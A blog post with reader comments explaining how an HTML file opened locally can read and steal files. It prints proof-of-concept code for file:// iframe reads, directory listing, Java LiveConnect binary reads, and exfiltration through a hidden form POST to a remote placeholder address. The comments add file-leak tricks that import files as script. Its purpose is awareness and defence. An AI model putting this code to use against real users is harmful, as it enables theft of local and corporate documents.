Web Pages from Hell
You open a html file but you are not aware. You check the content but you don’t know.
I have just received the report for the third quoter of 2006 by email. My boss says that from now on we will use simple html pages because it is more accessible. Well, I don’t know much about accessibility and I don’t really care. I click on the attachment. The html document stores itself no the desktop. Double click and I have it open in Firefox.
What happens next is without any doubt a security breach. Anonymous attacker has just compromised and stole important corporate documents.
Unfortunately, this story is far from being far-fetched. This is something that can happen to your organization and the technology required is here today and ready for use. Concerning, isn’t it? That’s the reason why I went a bit deeper into this topic, figuring out various attack vectors and composing a simple toolkit to mitigate the risk. The following post reveals some of my findings and provides disjointed source code as a proof of concept.
In this example we need Java, a single iframe, a form and a remote storage point. The iframe is used as data retrieval mechanism for html, xml and text files. Java is used as data retrieval mechanism for binary files. The form is used to send the data back to a remote storage point in a form of multiple POST request.
The first stage is to compose an iframe. You must be aware that iframes are areas where content can be rendered. This content is retrieved by a URL. The URL describes the location and also the protocol in use, which can be HTTP, HTTPS, FTP, FILE and maybe something else depending of your browser. Obviously FILE sounds quite interesting. This protocol allows us to look and browse through our system or open local files inside our browsers. Just entering file:///C:/ in your browser window should open C:\ drive.
It is said that iframes are secured in a way that different domains cannot access each other content. This restriction is applied with the same origin model. In simple terms, if a page from a.com creates hidden iframe of b.com, no communication is allowed between them. This means that a.com cannot read what is inside b.com iframe.
In a way this is secure, however the FILE protocol is excluded from this rule simply because file paths don’t have domains. So, an html file loaded from file:///C:/file.html can open an iframe of file:///D:/file.html and read its content. Of course, it must be noted that no external resource can read files from the local system because the same origin model imply that the protocol must be the same in order to allow communication. This means that HTTP cannot communicate with FILE or FTP.
To cut the story short I will go into an example how all this theory can be used in practice.
A file on the file system can open any other file inside an iframe.
<iframe src="file:///C:/test.txt"></iframe>
In order to retrieve the content of this file we have to wait for the iframe to load and then just grab its document body.
<iframe src="file:///C:/test.txt" onload="getContent(this)"></iframe>
<script>
function getContent(iframe) {
var content = '';
if (iframe.contentDocument) {
content = iframe.contentDocument.body.innerHTML;
} else if (iframe.contentWindow) {
content = iframe.contentWindow.document.body.innerHTML;
} else if (iframe.document) {
content = iframe.document.body.innerHTML;
}
alert(content);
}
</script>
The snippet above will display the content of an iframe which currently holds file:///C:/test.txt.
Opening files is not fun although probably you already can see some of the potentials. Let’s try something more funky by replacing file:///C:/test.txt with file:///C:/. This should open C:\ drive.
<iframe src="file:///C:/" onload="getContent(this)"></iframe>
<script>
function getContent(iframe) {
var content = '';
if (iframe.contentDocument) {
content = iframe.contentDocument.body.innerHTML;
} else if (iframe.contentWindow) {
content = iframe.contentWindow.document.body.innerHTML;
} else if (iframe.document) {
content = iframe.document.body.innerHTML;
}
alert(content);
}
</script>
Potentially, the snippet above has just listed your C:\ drive into an alert box. Of course this will work on most browsers but not in IE. IE is secure in this respect, however just keep in mind that IE supports ActiveX which makes the entire process a lot more simpler.
The next step every attacker probably will do is to create a recursive function which lists directories and upload interesting content on a remote server. If you try to do this you will see that the process is not as trivial as it seams because as soon as your iframe tries to open a binary file, your browser will prompt you with a download box. Of course, the attacker can try to avoid doc, xls and other types of binary files but today this is where all interesting corporate information is stored into.
So, in order to retrieve a binary file another technology needs to be used: Java and more precisely LiveConnect which is supported by Firefox and Opera. Let’s see how our binary retrieving code looks like:
<script>
function liveJaveGetContent(URL) {
var result = '';
var destination = new java.net.URL(URL);
var input = java.io.DataInputStream(destination.openStream());
while ((line = input.readLine()) != null) {
result += line;
result += java.lang.System.getProperty('line.separator');
}
input.close();
return result;
}
</script>
I must admit that the code above is not as generic as it can be but let’s not give too much information to the bad guys.
So, the function above can read binary files and return them in form of a string. This string is quite valuable for the attackers but first it has to be send to a remote location. This can be achieved in many ways, however my favorite one requires something as simple as a html form.
<form name="sendContentForm" method="post" action="http://path/to/remote/location">
<textarea name="content"></textarea>
<input type="submit"/>
</form>
This is it. When we call “sendContentFrom.submit()” the data will be transfered from locahost to the remote location. Of course this form wont be able to survive too much content in its textarea. For that reason we have to do some partitioning and send the data in blocks. However, I will let this to you to play around.
The conclusion is that you should not trust anything that you open in your browser, unless you completely disable JavaScrpt and Java. The next time you open a simple html page from your desktop, keep in mind that you may expose security hole in your network. While previewing the document the attacker is able to enumerate the internal infrastructure of your organization by listing mounted shares. These share may contain documents, tables and databases that might be valuable to some individuals and organizations.
BTW, just closing the browser window wont stop this attack continuing in the background. Many browsers can be made to stay alive even after you click on the X button. Maybe I will cover this some other time.


comments
I’ve just tested this with Firefox and Opera.
First: This does only work if you call the HTML file localy right?
Second: You don’t need the iframe. You can list directories with the Java-Function as well.
It would be cool to get this working if the file is not localy called…
Thanks for sharing!
Yes anty,
You are right. The reason I presented it this way was because sometimes JRE is not installed in which case you cannot read binary files, but you can read text files with iframe. It it the same when listing directories. Also, you can use the XMLHttpRequest object, however, to me it seams that it works on some setups but it doesn’t on others.
Yes, this technique works only when the file is executed locally due to the same origin policy. It will not work remotely unless you find a browser bug but this is a completely different story.
However, there are situations where a plugin or an extension unconsciously caches web content on the file system and presents it to the user. This was the case with Sage cross-context scripting vulnerability.
The complete sourcode of the techniques presented here are available at AttackAPI project page.
This techniques widly used to exploit Internet Explorer “embedded” in different applications.
2 old examples
http://www.securityfocus.com/bid/14385
http://www.securityfocus.com/archive/1/433360
how does this relate to this article? Sorry I don’t have time to look more carefully in the security focus links that you provided. Can you elaborate more? Thanks.
About Internet Explorer.
While IE (in XP and W2K3) per se by default locks active content, many applications which reuse IE starts it “unlocked” mode.
Great Work,Can i get your appointment for a talk.
ravikiran.k, sure. You will be able to get my gmail address from various security lists. Add me in and if I am online drop me a message.
My problem is that i have IIS and a virtual directory… could you please tell me if it is possible to use an iframe to get a html page from, for example, c:\test\x.htm… Be aware that my VD is different from the c:\test.
Thank you so much.
Marcos Oliveira
MARCOS, maybe I don’t quite understand your question but from what I see you want to retrieve the content of c:\test\x.htm from http://www.example.com for example. That is not possible.
Do all the attack functions work if IE or FF are runing inside of something like SandBoxIE?
Does the attack also try to work on a Virtual machine?
the Java live connect will work on FF and Opera only. The rest should work on all browsers
well, unless your target file is a configuration file that would be in correct syntax as a JS file…. then you simply and call each configuration variable by name
but anymore it’d be difficult unless your target is a specific program’s configuration file because anymore they have [type of information] lines that will kill the script
but if they dont then there might be a problem lol
I guess another classic example of information disclosure would be using res:// calls to DLL’s to load images only there in certain versions of windows and then testing the image’s width and height information with javascript…
PS. last post my example HTML didnt post:
crash_daemonicus,
I totally agree with you, however you can still get certain parts of the file if the information that you are interested in is somewhere at the top of the file. The way you do that is by importing the file as script and watching for errors. Some JS interpreters return not only the type of error that is generated but also the actual code line, which is exactly what you are after.
i am confused. my question is
Can i open C drive document on client browser by giving a path in iframe
example
can i do this ??
this web page looks weird like a programmer T-shirt